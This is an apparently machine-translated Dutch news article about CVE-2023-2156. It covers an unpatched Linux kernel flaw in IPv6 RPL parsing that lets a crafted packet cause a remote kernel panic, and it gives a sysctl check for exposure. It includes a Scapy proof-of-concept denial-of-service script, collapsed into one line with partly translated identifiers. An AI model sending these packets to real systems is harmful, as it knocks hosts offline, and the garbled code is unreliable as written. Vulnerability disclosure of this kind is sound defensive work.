0-day Linux IPv6-stack-kwetsbaarheid die een externe kernelcrash mogelijk maakt

Er is informatie vrijgegeven over een niet-gepatchte (0-day) kwetsbaarheid (CVE-2023-2156) in de Linux-kernel die het mogelijk maakt het systeem te stoppen door speciaal vervaardigde IPv6-pakketten (packet-of-death) te verzenden. Het probleem doet zich alleen voor wanneer ondersteuning voor het RPL-protocol (Routing Protocol for Low-Power and Lossy Networks) is ingeschakeld, dat standaard is uitgeschakeld in distributies en voornamelijk wordt gebruikt op ingebouwde apparaten die werken in draadloze netwerken met veel pakketverlies.

De kwetsbaarheid wordt veroorzaakt door onjuiste verwerking van externe gegevens in de parseercode van het RPL-protocol, wat leidt tot een assert-fout en de kernel die in paniek raakt. Bij het plaatsen van gegevens die zijn verkregen als resultaat van het parseren van de IPv6 RPL-pakketkop in de k_buff (Socket Buffer)-structuur, als het CmprI-veld is ingesteld op 15, het Segleft-veld is ingesteld op 1 en CmprE is ingesteld op 0, de 48- byte-adresvector is uitgepakt tot 528 bytes en er is een situatie waarin er onvoldoende geheugen is toegewezen voor de buffer. In dit geval activeert de skb_push-functie die wordt gebruikt om de gegevens in de structuur te duwen een controle op onevenredige grootte van de gegevens en de buffer, waardoor een paniekstatus wordt gegenereerd om te voorkomen dat de buffer wordt overschreven.

Exploitvoorbeeld: # We gebruiken Scapy om het pakket van scapy.all import * import socket te maken # Gebruik de IPv6 van uw LAN-interface DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # We gebruiken sockets om het pakket te verzenden sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Maak het pakket # Type = 3 maakt dit een RPL-pakket # Addresses bevat 3 adressen, maar omdat CmprI 15 is, # is elk octet van de eerste twee adressen behandeld als een gecomprimeerd adres # Segleft = 1 om de versterking te activeren # lastentry = 0xf0 stelt CmprI in op 15 en CmprE op 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, adressen=["a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Stuur dit slechte pakket sockfd.sendto(bytes(p), (DST_ADDR, 0))

Het is opmerkelijk dat de kernelontwikkelaars in januari 2022 op de hoogte werden gebracht van de kwetsbaarheid en dat ze de afgelopen 15 maanden drie keer probeerden het probleem op te lossen door patches uit te brengen in september 2022, oktober 2022 en april 2023, maar elke keer waren de oplossingen niet genoeg en de kwetsbaarheid kon zich reproduceren. Uiteindelijk besloot het ZDI-project, dat het werk coördineerde om de kwetsbaarheid te elimineren, om gedetailleerde informatie over de kwetsbaarheid vrij te geven, zonder te wachten op een werkende patch in de kernel.

De kwetsbaarheid is dus nog niet gepatcht. Het opnemen van de patch in de 6.4-rc2-kernel is niet effectief. Gebruikers wordt geadviseerd om te verifiëren dat het RPL-protocol niet op hun systemen wordt gebruikt, wat kan worden gedaan met behulp van de sysctl -a | grep -i rpl_seg_enabled

Bron: opennet.ru

Voeg een reactie